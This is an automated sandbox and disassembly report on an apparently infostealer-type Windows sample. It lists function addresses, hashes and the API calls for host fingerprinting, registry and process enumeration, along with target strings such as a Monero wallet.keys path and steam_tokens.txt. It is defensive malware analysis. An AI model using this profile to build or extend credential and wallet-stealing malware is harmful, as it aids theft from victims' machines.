Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 10115758f1ac1ef60798080ecb09e2df80035981a9322ad0aeb22f28ab2f3f6e
Instruction ID: fb58a6b8f9d846ce1b9cfd6131d651ffc15731169b54dbc1d61b222176017f31
Opcode Fuzzy Hash: 10115758f1ac1ef60798080ecb09e2df80035981a9322ad0aeb22f28ab2f3f6e
Instruction Fuzzy Hash: 4AE01D7094535CFFE710EBE0DC0EB1D76B8EB14B01F504055F709B62D0D6B526419699

Function 00801A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 00807500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00807542
Part of subcall function 00807500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0080757F
Part of subcall function 00807500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00807603
Part of subcall function 00807500: RtlAllocateHeap.NTDLL(00000000), ref: 0080760A

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 00807690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008076A4
Part of subcall function 00807690: RtlAllocateHeap.NTDLL(00000000), ref: 008076AB

Part of subcall function 008077C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0080DBC0,000000FF,?,00801C99,00000000,?,0135D840,00000000,?), ref: 008077F2
Part of subcall function 008077C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0080DBC0,000000FF,?,00801C99,00000000,?,0135D840,00000000,?), ref: 008077F9

Part of subcall function 00807850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007F11B7), ref: 00807880
Part of subcall function 00807850: RtlAllocateHeap.NTDLL(00000000), ref: 00807887
Part of subcall function 00807850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0080789F

Part of subcall function 008078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00807910
Part of subcall function 008078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00807917
Part of subcall function 008078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0080792F

Part of subcall function 00807980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00810E00,00000000,?), ref: 008079B0
Part of subcall function 00807980: RtlAllocateHeap.NTDLL(00000000), ref: 008079B7
Part of subcall function 00807980: GetLocalTime.KERNEL32(?,?,?,?,?,00810E00,00000000,?), ref: 008079C4
Part of subcall function 00807980: wsprintfA.USER32 ref: 008079F3

Part of subcall function 00807A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0135E1A0,00000000,?,00810E10,00000000,?,00000000,00000000), ref: 00807A63
Part of subcall function 00807A30: RtlAllocateHeap.NTDLL(00000000), ref: 00807A6A
Part of subcall function 00807A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0135E1A0,00000000,?,00810E10,00000000,?,00000000,00000000,?), ref: 00807A7D

Part of subcall function 00807B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0135E1A0,00000000,?,00810E10,00000000,?,00000000,00000000), ref: 00807B35

Part of subcall function 00807B90: GetKeyboardLayoutList.USER32(00000000,00000000,008105AF), ref: 00807BE1
Part of subcall function 00807B90: LocalAlloc.KERNEL32(00000040,?), ref: 00807BF9
Part of subcall function 00807B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00807C0D
Part of subcall function 00807B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00807C62
Part of subcall function 00807B90: LocalFree.KERNEL32(00000000), ref: 00807D22

Part of subcall function 00807D80: GetSystemPowerStatus.KERNEL32(?), ref: 00807DAD

GetCurrentProcessId.KERNEL32(00000000,?,0135D7C0,00000000,?,00810E24,00000000,?,00000000,00000000,?,0135E398,00000000,?,00810E20,00000000), ref: 0080207E

Part of subcall function 00809470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00809484
Part of subcall function 00809470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 008094A5
Part of subcall function 00809470: CloseHandle.KERNEL32(00000000), ref: 008094AF

Part of subcall function 00807E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00807E37
Part of subcall function 00807E00: RtlAllocateHeap.NTDLL(00000000), ref: 00807E3E
Part of subcall function 00807E00: RegOpenKeyExA.KERNEL32(80000002,0134BF68,00000000,00020119,?), ref: 00807E5E
Part of subcall function 00807E00: RegQueryValueExA.KERNEL32(?,0135D8E0,00000000,00000000,000000FF,000000FF), ref: 00807E7F
Part of subcall function 00807E00: RegCloseKey.ADVAPI32(?), ref: 00807E92

Part of subcall function 00807F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00807FC9
Part of subcall function 00807F60: GetLastError.KERNEL32 ref: 00807FD8

Part of subcall function 00807ED0: GetSystemInfo.KERNEL32(00810E2C), ref: 00807F00
Part of subcall function 00807ED0: wsprintfA.USER32 ref: 00807F16

Part of subcall function 00808100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0135E200,00000000,?,00810E2C,00000000,?,00000000), ref: 00808130
Part of subcall function 00808100: RtlAllocateHeap.NTDLL(00000000), ref: 00808137
Part of subcall function 00808100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00808158
Part of subcall function 00808100: wsprintfA.USER32 ref: 008081AC

Part of subcall function 008087C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00810E28,00000000,?), ref: 0080882F
Part of subcall function 008087C0: RtlAllocateHeap.NTDLL(00000000), ref: 00808836
Part of subcall function 008087C0: wsprintfA.USER32 ref: 00808850

Part of subcall function 00808320: RegOpenKeyExA.KERNEL32(00000000,0135B388,00000000,00020019,00000000,008105B6), ref: 008083A4

Part of subcall function 00808320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00808426
Part of subcall function 00808320: wsprintfA.USER32 ref: 00808459
Part of subcall function 00808320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0080847B
Part of subcall function 00808320: RegCloseKey.ADVAPI32(00000000), ref: 0080848C
Part of subcall function 00808320: RegCloseKey.ADVAPI32(00000000), ref: 00808499

Part of subcall function 00808680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,008105B7), ref: 008086CA
Part of subcall function 00808680: Process32First.KERNEL32(?,00000128), ref: 008086DE
Part of subcall function 00808680: Process32Next.KERNEL32(?,00000128), ref: 008086F3
Part of subcall function 00808680: CloseHandle.KERNEL32(?), ref: 00808761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0080265B

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUserlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 60318822-0
Opcode ID: 6a647ac75d9f5adbe0faf4547a0414084f159edc07fb45f2e87997114f3f58cd
Instruction ID: 99f5119484c97606264dd5f63d8225b7849901481191e1c8f74fba8d386da4fc
Opcode Fuzzy Hash: 6a647ac75d9f5adbe0faf4547a0414084f159edc07fb45f2e87997114f3f58cd
Instruction Fuzzy Hash: 74723D71D10218AADB9DEB94DD91EDE733CFF64300F5082A9B516A20D1EF702B49CA67

Function 007F6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c0de7e4de0ae553a955c434b9c140e38081c5fd2ea1de9a1692297e65709855
Instruction ID: d12863ce0f447abc0a808cea6bd25ecd972e970a06e96587d4f776432aa532cd
Opcode Fuzzy Hash: 3c0de7e4de0ae553a955c434b9c140e38081c5fd2ea1de9a1692297e65709855
Instruction Fuzzy Hash: 7561F5B590021CEBCB14DF94E988BEEB7B0BB04304F108598E619A7381D779AF94DF91

Function 008070D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0080718C

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 1823fd2d4e1769d35026b179b5c95d3a21f014fccb0f94c28b8b58f5bac1a909
Instruction ID: e3ea88bb3869bec32eebe0647f40989bcea9df6db72c1873b0a91af32237bb40
Opcode Fuzzy Hash: 1823fd2d4e1769d35026b179b5c95d3a21f014fccb0f94c28b8b58f5bac1a909
Instruction Fuzzy Hash: 61513EB1D042189BDB94EB94DC85BEEB374FF54304F5081A8E216A62C1EB746E88CF59

Function 00805100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A820: lstrlen.KERNEL32(007F4F05,?,?,007F4F05,00810DDE), ref: 0080A82B
Part of subcall function 0080A820: lstrcpy.KERNEL32(00810DDE,00000000), ref: 0080A885

lstrlen.KERNEL32(00000000,00000000,00810ACA), ref: 0080512A

Strings

steam_tokens.txt, xrefs: 0080513F

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: ed44e339d8db706f16f3cfb9720ca6d8b0d21a7bc0221894f59420c538a734a1
Instruction ID: 995565ae0bec121f758798cba87e52415a13da272a032e53b76334e75f9c6eaa
Opcode Fuzzy Hash: ed44e339d8db706f16f3cfb9720ca6d8b0d21a7bc0221894f59420c538a734a1
Instruction Fuzzy Hash: 44F0FB72910208A6CB48F7A8DC579ED733CFF54300F808168B557E25D2EF296619C6A3

Function 00807ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00810E2C), ref: 00807F00
wsprintfA.USER32 ref: 00807F16

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: c35fb937b8ca81a4fa1fc99e83f1ef7fee7dda0f5f433c53452cd9a60211f65f
Instruction ID: 41b10a2e2a906d268d909d024caa029176e0c1bbb39c5bef6b1b523088174e30
Opcode Fuzzy Hash: c35fb937b8ca81a4fa1fc99e83f1ef7fee7dda0f5f433c53452cd9a60211f65f
Instruction Fuzzy Hash: 7FF096B2904618EBC710DF84DC45FAAF7BCFB44724F000669F515D2280D77969448BD1

Function 007FB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

lstrlen.KERNEL32(00000000), ref: 007FB9C2
lstrlen.KERNEL32(00000000), ref: 007FB9D6

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
